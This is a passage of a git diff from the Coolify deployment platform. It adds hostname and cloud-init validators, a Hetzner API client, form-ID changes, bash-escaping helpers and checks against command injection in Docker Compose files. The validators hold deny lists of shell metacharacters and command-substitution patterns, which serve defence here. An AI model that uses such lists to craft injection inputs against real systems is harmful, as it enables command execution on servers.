doesn't start with #! or #cloud-config, try to parse as YAML + // (some users might omit the #cloud-config header) + try { + Yaml::parse($script); + } catch (ParseException $e) { + $fail('The :attribute must be either a valid bash script (starting with #!) or valid cloud-config YAML. YAML parse error: '.$e->getMessage()); + } + } +} diff --git a/app/Rules/ValidHostname.php b/app/Rules/ValidHostname.php new file mode 100644 index 000000000..b6b2b8d32 --- /dev/null +++ b/app/Rules/ValidHostname.php @@ -0,0 +1,114 @@ + 253) { + $fail('The :attribute must not exceed 253 characters.'); + + return; + } + + // Check for dangerous shell metacharacters + $dangerousChars = [ + ';', '|', '&', '$', '`', '(', ')', '{', '}', + '<', '>', '\n', '\r', '\0', '"', "'", '\\', + '!', '*', '?', '[', ']', '~', '^', ':', '#', + '@', '%', '=', '+', ',', ' ', + ]; + + foreach ($dangerousChars as $char) { + if (str_contains($hostname, $char)) { + try { + $logData = [ + 'hostname' => $hostname, + 'character' => $char, + ]; + + if (function_exists('request') && app()->has('request')) { + $logData['ip'] = request()->ip(); + } + + if (function_exists('auth') && app()->has('auth')) { + $logData['user_id'] = auth()->id(); + } + + Log::warning('Hostname validation failed - dangerous character', $logData); + } catch (\Throwable $e) { + // Ignore errors when facades are not available (e.g., in unit tests) + } + + $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); + + return; + } + } + + // Additional validation: hostname should not start or end with a dot + if (str_starts_with($hostname, '.') || str_ends_with($hostname, '.')) { + $fail('The :attribute cannot start or end with a dot.'); + + return; + } + + // Check for consecutive dots + if (str_contains($hostname, '..')) { + $fail('The :attribute cannot contain consecutive dots.'); + + return; + } + + // Split into labels (segments between dots) + $labels = explode('.', $hostname); + + foreach ($labels as $label) { + // Check label length (RFC 1123: max 63 characters per label) + if (strlen($label) < 1 || strlen($label) > 63) { + $fail('The :attribute contains an invalid label. Each segment must be 1-63 characters.'); + + return; + } + + // Check if label starts or ends with hyphen + if (str_starts_with($label, '-') || str_ends_with($label, '-')) { + $fail('The :attribute contains an invalid label. Labels cannot start or end with a hyphen.'); + + return; + } + + // Check if label contains only valid characters (lowercase letters, digits, hyphens) + if (! preg_match('/^[a-z0-9-]+$/', $label)) { + $fail('The :attribute contains invalid characters. Only lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.) are allowed.'); + + return; + } + + // RFC 1123 allows labels to be all numeric (unlike RFC 952) + // So we don't need to check for all-numeric labels + } + } +} diff --git a/app/Services/HetznerService.php b/app/Services/HetznerService.php new file mode 100644 index 000000000..aa6de3897 --- /dev/null +++ b/app/Services/HetznerService.php @@ -0,0 +1,143 @@ +token = $token; + } + + private function request(string $method, string $endpoint, array $data = []) + { + $response = Http::withHeaders([ + 'Authorization' => 'Bearer '.$this->token, + ]) + ->timeout(30) + ->retry(3, function (int $attempt, \Exception $exception) { + // Handle rate limiting (429 Too Many Requests) + if ($exception instanceof \Illuminate\Http\Client\RequestException) { + $response = $exception->response; + + if ($response && $response->status() === 429) { + // Get rate limit reset timestamp from headers + $resetTime = $response->header('RateLimit-Reset'); + + if ($resetTime) { + // Calculate wait time until rate limit resets + $waitSeconds = max(0, $resetTime - time()); + + // Cap wait time at 60 seconds for safety + return min($waitSeconds, 60) * 1000; + } + } + } + + // Exponential backoff for other retriable errors: 100ms, 200ms, 400ms + return $attempt * 100; + }) + ->{$method}($this->baseUrl.$endpoint, $data); + + if (! $response->successful()) { + throw new \Exception('Hetzner API error: '.$response->json('error.message', 'Unknown error')); + } + + return $response->json(); + } + + private function requestPaginated(string $method, string $endpoint, string $resourceKey, array $data = []): array + { + $allResults = []; + $page = 1; + + do { + $data['page'] = $page; + $data['per_page'] = 50; + + $response = $this->request($method, $endpoint, $data); + + if (isset($response[$resourceKey])) { + $allResults = array_merge($allResults, $response[$resourceKey]); + } + + $nextPage = $response['meta']['pagination']['next_page'] ?? null; + $page = $nextPage; + } while ($nextPage !== null); + + return $allResults; + } + + public function getLocations(): array + { + return $this->requestPaginated('get', '/locations', 'locations'); + } + + public function getImages(): array + { + return $this->requestPaginated('get', '/images', 'images', [ + 'type' => 'system', + ]); + } + + public function getServerTypes(): array + { + return $this->requestPaginated('get', '/server_types', 'server_types'); + } + + public function getSshKeys(): array + { + return $this->requestPaginated('get', '/ssh_keys', 'ssh_keys'); + } + + public function uploadSshKey(string $name, string $publicKey): array + { + $response = $this->request('post', '/ssh_keys', [ + 'name' => $name, + 'public_key' => $publicKey, + ]); + + return $response['ssh_key'] ?? []; + } + + public function createServer(array $params): array + { + ray('Hetzner createServer request', [ + 'endpoint' => '/servers', + 'params' => $params, + ]); + + $response = $this->request('post', '/servers', $params); + + ray('Hetzner createServer response', [ + 'response' => $response, + ]); + + return $response['server'] ?? []; + } + + public function getServer(int $serverId): array + { + $response = $this->request('get', "/servers/{$serverId}"); + + return $response['server'] ?? []; + } + + public function powerOnServer(int $serverId): array + { + $response = $this->request('post', "/servers/{$serverId}/actions/poweron"); + + return $response['action'] ?? []; + } + + public function deleteServer(int $serverId): void + { + $this->request('delete', "/servers/{$serverId}"); + } +} diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php index a4d3a7cfd..e9ec0d946 100644 --- a/app/Traits/DeletesUserSessions.php +++ b/app/Traits/DeletesUserSessions.php @@ -26,7 +26,7 @@ protected static function bootDeletesUserSessions() { static::updated(function ($user) { // Check if password was changed - if ($user->isDirty('password')) { + if ($user->wasChanged('password')) { $user->deleteAllSessions(); } }); diff --git a/app/Traits/HasNotificationSettings.php b/app/Traits/HasNotificationSettings.php index 236e4d97c..fded435fd 100644 --- a/app/Traits/HasNotificationSettings.php +++ b/app/Traits/HasNotificationSettings.php @@ -7,6 +7,7 @@ use App\Notifications\Channels\PushoverChannel; use App\Notifications\Channels\SlackChannel; use App\Notifications\Channels\TelegramChannel; +use App\Notifications\Channels\WebhookChannel; use Illuminate\Database\Eloquent\Model; trait HasNotificationSettings @@ -17,6 +18,7 @@ trait HasNotificationSettings 'general', 'test', 'ssl_certificate_renewal', + 'hetzner_deletion_failure', ]; /** @@ -30,6 +32,7 @@ public function getNotificationSettings(string $channel): ?Model 'telegram' => $this->telegramNotificationSettings, 'slack' => $this->slackNotificationSettings, 'pushover' => $this->pushoverNotificationSettings, + 'webhook' => $this->webhookNotificationSettings, default => null, }; } @@ -77,6 +80,7 @@ public function getEnabledChannels(string $event): array 'telegram' => TelegramChannel::class, 'slack' => SlackChannel::class, 'pushover' => PushoverChannel::class, + 'webhook' => WebhookChannel::class, ]; if ($event === 'general') { diff --git a/app/View/Components/Forms/Checkbox.php b/app/View/Components/Forms/Checkbox.php index ece7f0e35..eb38d84af 100644 --- a/app/View/Components/Forms/Checkbox.php +++ b/app/View/Components/Forms/Checkbox.php @@ -6,9 +6,14 @@ use Illuminate\Contracts\View\View; use Illuminate\Support\Facades\Gate; use Illuminate\View\Component; +use Visus\Cuid2\Cuid2; class Checkbox extends Component { + public ?string $modelBinding = null; + + public ?string $htmlId = null; + /** * Create a new component instance. */ @@ -22,7 +27,7 @@ public function __construct( public string|bool|null $checked = false, public string|bool $instantSave = false, public bool $disabled = false, - public string $defaultClass = 'dark:border-neutral-700 text-coolgray-400 focus:ring-warning dark:bg-coolgray-100 rounded-sm cursor-pointer dark:disabled:bg-base dark:disabled:cursor-not-allowed', + public string $defaultClass = 'dark:border-neutral-700 text-coolgray-400 dark:bg-coolgray-100 rounded-sm cursor-pointer dark:disabled:bg-base dark:disabled:cursor-not-allowed focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base', public ?string $canGate = null, public mixed $canResource = null, public bool $autoDisable = true, @@ -47,6 +52,18 @@ public function __construct( */ public function render(): View|Closure|string { + // Store original ID for wire:model binding (property name) + $this->modelBinding = $this->id; + + // Generate unique HTML ID by adding random suffix + // This prevents duplicate IDs when multiple forms are on the same page + if ($this->id) { + $uniqueSuffix = new Cuid2; + $this->htmlId = $this->id.'-'.$uniqueSuffix; + } else { + $this->htmlId = $this->id; + } + return view('components.forms.checkbox'); } } diff --git a/app/View/Components/Forms/Datalist.php b/app/View/Components/Forms/Datalist.php index 25643753d..3b7a9ee34 100644 --- a/app/View/Components/Forms/Datalist.php +++ b/app/View/Components/Forms/Datalist.php @@ -4,12 +4,16 @@ use Closure; use Illuminate\Contracts\View\View; -use Illuminate\Support\Str; +use Illuminate\Support\Facades\Gate; use Illuminate\View\Component; use Visus\Cuid2\Cuid2; class Datalist extends Component { + public ?string $modelBinding = null; + + public ?string $htmlId = null; + /** * Create a new component instance. */ @@ -19,9 +23,27 @@ public function __construct( public ?string $label = null, public ?string $helper = null, public bool $required = false, - public string $defaultClass = 'input' + public bool $disabled = false, + public bool $readonly = false, + public bool $multiple = false, + public string|bool $instantSave = false, + public ?string $value = null, + public ?string $placeholder = null, + public bool $autofocus = false, + public string $defaultClass = 'input', + public ?string $canGate = null, + public mixed $canResource = null, + public bool $autoDisable = true, ) { - // + // Handle authorization-based disabling + if ($this->canGate && $this->canResource && $this->autoDisable) { + $hasPermission = Gate::allows($this->canGate, $this->canResource); + + if (! $hasPermission) { + $this->disabled = true; + $this->instantSave = false; // Disable instant save for unauthorized users + } + } } /** @@ -29,14 +51,28 @@ public function __construct( */ public function render(): View|Closure|string { + // Store original ID for wire:model binding (property name) + $this->modelBinding = $this->id; + if (is_null($this->id)) { $this->id = new Cuid2; - } - if (is_null($this->name)) { - $this->name = $this->id; + // Don't create wire:model binding for auto-generated IDs + $this->modelBinding = 'null'; } - $this->label = Str::title($this->label); + // Generate unique HTML ID by adding random suffix + // This prevents duplicate IDs when multiple forms are on the same page + if ($this->modelBinding && $this->modelBinding !== 'null') { + // Use original ID with random suffix for uniqueness + $uniqueSuffix = new Cuid2; + $this->htmlId = $this->modelBinding.'-'.$uniqueSuffix; + } else { + $this->htmlId = (string) $this->id; + } + + if (is_null($this->name)) { + $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; + } return view('components.forms.datalist'); } diff --git a/app/View/Components/Forms/Input.php b/app/View/Components/Forms/Input.php index 83c98c0df..5ed347f42 100644 --- a/app/View/Components/Forms/Input.php +++ b/app/View/Components/Forms/Input.php @@ -10,6 +10,10 @@ class Input extends Component { + public ?string $modelBinding = null; + + public ?string $htmlId = null; + public function __construct( public ?string $id = null, public ?string $name = null, @@ -43,11 +47,26 @@ public function __construct( public function render(): View|Closure|string { + // Store original ID for wire:model binding (property name) + $this->modelBinding = $this->id; + if (is_null($this->id)) { $this->id = new Cuid2; + // Don't create wire:model binding for auto-generated IDs + $this->modelBinding = 'null'; } + // Generate unique HTML ID by adding random suffix + // This prevents duplicate IDs when multiple forms are on the same page + if ($this->modelBinding && $this->modelBinding !== 'null') { + // Use original ID with random suffix for uniqueness + $uniqueSuffix = new Cuid2; + $this->htmlId = $this->modelBinding.'-'.$uniqueSuffix; + } else { + $this->htmlId = (string) $this->id; + } + if (is_null($this->name)) { - $this->name = $this->id; + $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; } if ($this->type === 'password') { $this->defaultClass = $this->defaultClass.' pr-[2.8rem]'; diff --git a/app/View/Components/Forms/Select.php b/app/View/Components/Forms/Select.php index 49b69136b..026e3ba8c 100644 --- a/app/View/Components/Forms/Select.php +++ b/app/View/Components/Forms/Select.php @@ -10,6 +10,10 @@ class Select extends Component { + public ?string $modelBinding = null; + + public ?string $htmlId = null; + /** * Create a new component instance. */ @@ -40,11 +44,27 @@ public function __construct( */ public function render(): View|Closure|string { + // Store original ID for wire:model binding (property name) + $this->modelBinding = $this->id; + if (is_null($this->id)) { $this->id = new Cuid2; + // Don't create wire:model binding for auto-generated IDs + $this->modelBinding = 'null'; } + + // Generate unique HTML ID by adding random suffix + // This prevents duplicate IDs when multiple forms are on the same page + if ($this->modelBinding && $this->modelBinding !== 'null') { + // Use original ID with random suffix for uniqueness + $uniqueSuffix = new Cuid2; + $this->htmlId = $this->modelBinding.'-'.$uniqueSuffix; + } else { + $this->htmlId = (string) $this->id; + } + if (is_null($this->name)) { - $this->name = $this->id; + $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; } return view('components.forms.select'); diff --git a/app/View/Components/Forms/Textarea.php b/app/View/Components/Forms/Textarea.php index 3148d2566..a5303b947 100644 --- a/app/View/Components/Forms/Textarea.php +++ b/app/View/Components/Forms/Textarea.php @@ -10,6 +10,10 @@ class Textarea extends Component { + public ?string $modelBinding = null; + + public ?string $htmlId = null; + /** * Create a new component instance. */ @@ -27,6 +31,7 @@ public function __construct( public bool $readonly = false, public bool $allowTab = false, public bool $spellcheck = false, + public bool $autofocus = false, public ?string $helper = null, public bool $realtimeValidation = false, public bool $allowToPeak = true, @@ -53,11 +58,27 @@ public function __construct( */ public function render(): View|Closure|string { + // Store original ID for wire:model binding (property name) + $this->modelBinding = $this->id; + if (is_null($this->id)) { $this->id = new Cuid2; + // Don't create wire:model binding for auto-generated IDs + $this->modelBinding = 'null'; } + + // Generate unique HTML ID by adding random suffix + // This prevents duplicate IDs when multiple forms are on the same page + if ($this->modelBinding && $this->modelBinding !== 'null') { + // Use original ID with random suffix for uniqueness + $uniqueSuffix = new Cuid2; + $this->htmlId = $this->modelBinding.'-'.$uniqueSuffix; + } else { + $this->htmlId = (string) $this->id; + } + if (is_null($this->name)) { - $this->name = $this->id; + $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; } // $this->label = Str::title($this->label); diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php index b63c3fc3b..d6c9b5bdf 100644 --- a/bootstrap/helpers/docker.php +++ b/bootstrap/helpers/docker.php @@ -378,6 +378,16 @@ function fqdnLabelsForTraefik(string $uuid, Collection $domains, bool $is_force_ if ($serviceLabels) { $middlewares_from_labels = $serviceLabels->map(function ($item) { + // Handle array values from YAML parsing (e.g., "traefik.enable: true" becomes an array) + if (is_array($item)) { + // Convert array to string format "key=value" + $key = collect($item)->keys()->first(); + $value = collect($item)->values()->first(); + $item = "$key=$value"; + } + if (! is_string($item)) { + return null; + } if (preg_match('/traefik\.http\.middlewares\.(.*?)(\.|$)/', $item, $matches)) { return $matches[1]; } @@ -1120,6 +1130,76 @@ function escapeDollarSign($value) return str_replace($search, $replace, $value); } +/** + * Escape a value for use in a bash .env file that will be sourced with 'source' command + * Wraps the value in single quotes and escapes any single quotes within the value + * + * @param string|null $value The value to escape + * @return string The escaped value wrapped in single quotes + */ +function escapeBashEnvValue(?string $value): string +{ + // Handle null or empty values + if ($value === null || $value === '') { + return "''"; + } + + // Replace single quotes with '\'' (end quote, escaped quote, start quote) + // This is the standard way to escape single quotes in bash single-quoted strings + $escaped = str_replace("'", "'\\''", $value); + + // Wrap in single quotes + return "'{$escaped}'"; +} + +/** + * Escape a value for bash double-quoted strings (allows $VAR expansion) + * + * This function wraps values in double quotes while escaping special characters, + * but preserves valid bash variable references like $VAR and ${VAR}. + * + * @param string|null $value The value to escape + * @return string The escaped value wrapped in double quotes + */ +function escapeBashDoubleQuoted(?string $value): string +{ + // Handle null or empty values + if ($value === null || $value === '') { + return '""'; + } + + // Step 1: Escape backslashes first (must be done before other escaping) + $escaped = str_replace('\\', '\\\\', $value); + + // Step 2: Escape double quotes + $escaped = str_replace('"', '\\"', $escaped); + + // Step 3: Escape backticks (command substitution) + $escaped = str_replace('`', '\\`', $escaped); + + // Step 4: Escape invalid $ patterns while preserving valid variable references + // Valid patterns to keep: + // - $VAR_NAME (alphanumeric + underscore, starting with letter or _) + // - ${VAR_NAME} (brace expansion) + // - $0-$9 (positional parameters) + // Invalid patterns to escape: $&, $#, $$, $*, $@, $!, $(, etc. + + // Match $ followed by anything that's NOT a valid variable start + // Valid variable starts: letter, underscore, digit (for $0-$9), or open brace + $escaped = preg_replace( + '/\$(?![a-zA-Z_0-9{])/', + '\\\$', + $escaped + ); + + // Preserve pre-escaped dollars inside double quotes: turn \\$ back into \$ + // (keeps tests like "path\\to\\file" intact while restoring \$ semantics) + $escaped = preg_replace('/\\\\(?=\$)/', '\\\\', $escaped); + + // Wrap in double quotes + return "\"{$escaped}\""; +} + /** * Generate Docker build arguments from environment variables collection * Returns only keys (no values) since values are sourced from environment via export diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index a588ed882..f2260f0c6 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -16,6 +16,101 @@ use Symfony\Component\Yaml\Yaml; use Visus\Cuid2\Cuid2; +/** + * Validates a Docker Compose YAML string for command injection vulnerabilities. + * This should be called BEFORE saving to database to prevent malicious data from being stored. + * + * @param string $composeYaml The raw Docker Compose YAML content + * + * @throws \Exception If the compose file contains command injection attempts + */ +function validateDockerComposeForInjection(string $composeYaml): void +{ + try { + $parsed = Yaml::parse($composeYaml); + } catch (\Exception $e) { + throw new \Exception('Invalid YAML format: '.$e->getMessage(), 0, $e); + } + + if (! is_array($parsed) || ! isset($parsed['services']) || ! is_array($parsed['services'])) { + throw new \Exception('Docker Compose file must contain a "services" section'); + } + // Validate service names + foreach ($parsed['services'] as $serviceName => $serviceConfig) { + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.', + 0, + $e + ); + } + + // Validate volumes in this service (both string and array formats) + if (isset($serviceConfig['volumes']) && is_array($serviceConfig['volumes'])) { + foreach ($serviceConfig['volumes'] as $volume) { + if (is_string($volume)) { + // String format: "source:target" or "source:target:mode" + validateVolumeStringForInjection($volume); + } elseif (is_array($volume)) { + // Array format: {type: bind, source: ..., target: ...} + if (isset($volume['source'])) { + $source = $volume['source']; + if (is_string($source)) { + // Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString) + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source); + $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source); + + if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) { + try { + validateShellSafePath($source, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.', + 0, + $e + ); + } + } + } + } + if (isset($volume['target'])) { + $target = $volume['target']; + if (is_string($target)) { + try { + validateShellSafePath($target, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.', + 0, + $e + ); + } + } + } + } + } + } + } +} + +/** + * Validates a Docker volume string (format: "source:target" or "source:target:mode") + * + * @param string $volumeString The volume string to validate + * + * @throws \Exception If the volume string contains command injection attempts + */ +function validateVolumeStringForInjection(string $volumeString): void +{ + // Canonical parsing also validates and throws on unsafe input + parseDockerVolumeString($volumeString); +} + function parseDockerVolumeString(string $volumeString): array { $volumeString = trim($volumeString); @@ -212,6 +307,46 @@ function parseDockerVolumeString(string $volumeString): array // Otherwise keep the variable as-is for later expansion (no default value) } + // Validate source path for command injection attempts + // We validate the final source value after environment variable processing + if ($source !== null) { + // Allow simple environment variables like ${VAR_NAME} or ${VAR} + // but validate everything else for shell metacharacters + $sourceStr = is_string($source) ? $source : $source; + + // Skip validation for simple environment variable references + // Pattern: ${WORD_CHARS} with no special characters inside + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr); + + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceStr, 'volume source'); + } catch (\Exception $e) { + // Re-throw with more context about the volume string + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + + // Also validate target path + if ($target !== null) { + $targetStr = is_string($target) ? $target : $target; + // Target paths in containers are typically absolute paths, so we validate them too + // but they're less likely to be dangerous since they're not used in host commands + // Still, defense in depth is important + try { + validateShellSafePath($targetStr, 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition: '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + return [ 'source' => $source !== null ? str($source) : null, 'target' => $target !== null ? str($target) : null, @@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $allMagicEnvironments = collect([]); foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $magicEnvironments = collect([]); $image = data_get_str($service, 'image'); $environment = collect(data_get($service, 'environment', [])); @@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); @@ -1178,26 +1350,39 @@ function serviceParser(Service $resource): Collection $allMagicEnvironments = collect([]); // Presave services foreach ($services as $serviceName => $service) { + // Validate service name for command injection + try { + validateShellSafePath($serviceName, 'service name'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker Compose service name: '.$e->getMessage(). + ' Service names must not contain shell metacharacters.' + ); + } + $image = data_get_str($service, 'image'); $isDatabase = isDatabaseImage($image, $service); if ($isDatabase) { - $applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first(); + $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); if ($applicationFound) { $savedService = $applicationFound; } else { $savedService = ServiceDatabase::firstOrCreate([ 'name' => $serviceName, - 'image' => $image, 'service_id' => $resource->id, ]); } } else { $savedService = ServiceApplication::firstOrCreate([ 'name' => $serviceName, - 'image' => $image, 'service_id' => $resource->id, ]); } + // Update image if it changed + if ($savedService->image !== $image) { + $savedService->image = $image; + $savedService->save(); + } } foreach ($services as $serviceName => $service) { $predefinedPort = null; @@ -1514,20 +1699,18 @@ function serviceParser(Service $resource): Collection } if ($isDatabase) { - $applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first(); + $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first(); if ($applicationFound) { $savedService = $applicationFound; } else { $savedService = ServiceDatabase::firstOrCreate([ 'name' => $serviceName, - 'image' => $image, 'service_id' => $resource->id, ]); } } else { $savedService = ServiceApplication::firstOrCreate([ 'name' => $serviceName, - 'image' => $image, 'service_id' => $resource->id, ]); } @@ -1574,6 +1757,33 @@ function serviceParser(Service $resource): Collection $content = data_get($volume, 'content'); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); + // Validate source and target for command injection (array/long syntax) + if ($source !== null && ! empty($source->value())) { + $sourceValue = $source->value(); + // Allow simple environment variable references + $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue); + if (! $isSimpleEnvVar) { + try { + validateShellSafePath($sourceValue, 'volume source'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + } + if ($target !== null && ! empty($target->value())) { + try { + validateShellSafePath($target->value(), 'volume target'); + } catch (\Exception $e) { + throw new \Exception( + 'Invalid Docker volume definition (array syntax): '.$e->getMessage(). + ' Please use safe path names without shell metacharacters.' + ); + } + } + $foundConfig = $fileStorages->whereMountPath($target)->first(); if ($foundConfig) { $contentNotNull_temp = data_get($foundConfig, 'content'); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index 656c607bf..0f5b6f553 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string return $sanitized; } +/** + * Validate that a path or identifier is safe for use in shell commands. + * + * This function prevents command injection by rejecting strings that contain + * shell metacharacters or command substitution patterns. + * + * @param string $input The path or identifier to validate + * @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name') + * @return string The validated input (unchanged if valid) + * + * @throws \Exception If dangerous characters are detected + */ +function validateShellSafePath(string $input, string $context = 'path'): string +{ + // List of dangerous shell metacharacters that enable command injection + $dangerousChars = [ + '`' => 'backtick (command substitution)', + '$(' => 'command substitution', + '${' => 'variable substitution with potential command injection', + '|' => 'pipe operator', + '&' => 'background/AND operator', + ';' => 'command separator', + "\n" => 'newline (command separator)', + "\r" => 'carriage return', + "\t" => 'tab (token separator)', + '>' => 'output redirection', + '<' => 'input redirection', + ]; + + // Check for dangerous characters + foreach ($dangerousChars as $char => $description) { + if (str_contains($input, $char)) { + throw new \Exception( + "Invalid {$context}: contains forbidden character '{$char}' ({$description}). ". + 'Shell metacharacters are not allowed for security reasons.' + ); + } + } + + return $input; +} + function generate_readme_file(string $name, string $updated_at): string { $name = sanitize_string($name); @@ -1285,6 +1327,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal if ($serviceLabels->count() > 0) { $removedLabels = collect([]); $serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) { + // Handle array values from YAML (e.g., "traefik.enable: true" becomes an array) + if (is_array($serviceLabel)) { + $removedLabels->put($serviceLabelName, $serviceLabel); + + return false; + } if (! str($serviceLabel)->contains('=')) { $removedLabels->put($serviceLabelName, $serviceLabel); @@ -1294,6 +1342,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal return $serviceLabel; }); foreach ($removedLabels as $removedLabelName => $removedLabel) { + // Convert array values to strings + if (is_array($removedLabel)) { + $removedLabel = (string) collect($removedLabel)->first(); + } $serviceLabels->push("$removedLabelName=$removedLabel"); } } @@ -1317,6 +1369,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'name' => $serviceName, 'service_id' => $resource->id, ])->first(); + if (is_null($savedService)) { + $savedService = ServiceDatabase::create([ + 'name' => $serviceName, + 'image' => $image, + 'service_id' => $resource->id, + ]); + } } } else { if ($isNew) { @@ -1330,21 +1389,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'name' => $serviceName, 'service_id' => $resource->id, ])->first(); - } - } - if (is_null($savedService)) { - if ($isDatabase) { - $savedService = ServiceDatabase::create([ - 'name' => $serviceName, - 'image' => $image, - 'service_id' => $resource->id, - ]); - } else { - $savedService = ServiceApplication::create([ - 'name' => $serviceName, - 'image' => $image, - 'service_id' => $resource->id, - ]); + if (is_null($savedService)) { + $savedService = ServiceApplication::create([ + 'name' => $serviceName, + 'image' => $image, + 'service_id' => $resource->id, + ]); + } } } @@ -2006,6 +2057,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal if ($serviceLabels->count() > 0) { $removedLabels = collect([]); $serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) { + // Handle array values from YAML (e.g., "traefik.enable: true" becomes an array) + if (is_array($serviceLabel)) { + $removedLabels->put($serviceLabelName, $serviceLabel); + + return false; + } if (! str($serviceLabel)->contains('=')) { $removedLabels->put($serviceLabelName, $serviceLabel); @@ -2015,6 +2072,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal return $serviceLabel; }); foreach ($removedLabels as $removedLabelName => $removedLabel) { + // Convert array values to strings + if (is_array($removedLabel)) { + $removedLabel = (string) collect($removedLabel)->first(); + } $serviceLabels->push("$removedLabelName=$removedLabel"); } } diff --git a/conductor.json b/conductor.json new file mode 100644 index 000000000..851d13ed0 --- /dev/null +++ b/conductor.json @@ -0,0 +1,7 @@ +{ + "scripts": { + "setup": "./scripts/conductor-setup.sh", + "run": "docker rm -f coolify coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down" + }, + "runScriptMode": "nonconcurrent" +} diff --git a/config/constants.php b/config/constants.php index 01eaa7fa1..1fc1af3f3 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.435', + 'version' => '4.0.0-beta.436', 'helper_version' => '1.0.11', 'realtime_version' => '1.0.10', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/config/livewire.php b/config/livewire.php index 02725e944..bd3733076 100644 --- a/config/livewire.php +++ b/config/livewire.php @@ -90,7 +90,7 @@ | */ - 'legacy_model_binding' => true, + 'legacy_model_binding' => false, /* |--------------------------------------------------------------------------- diff --git a/database/migrations/2025_06_26_131350_optimize_activity_log_indexes.php b/database/migrations/2025_06_26_131350_optimize_activity_log_indexes.php index 6ffe97c07..4d4be1232 100644 --- a/database/migrations/2025_06_26_131350_optimize_activity_log_indexes.php +++ 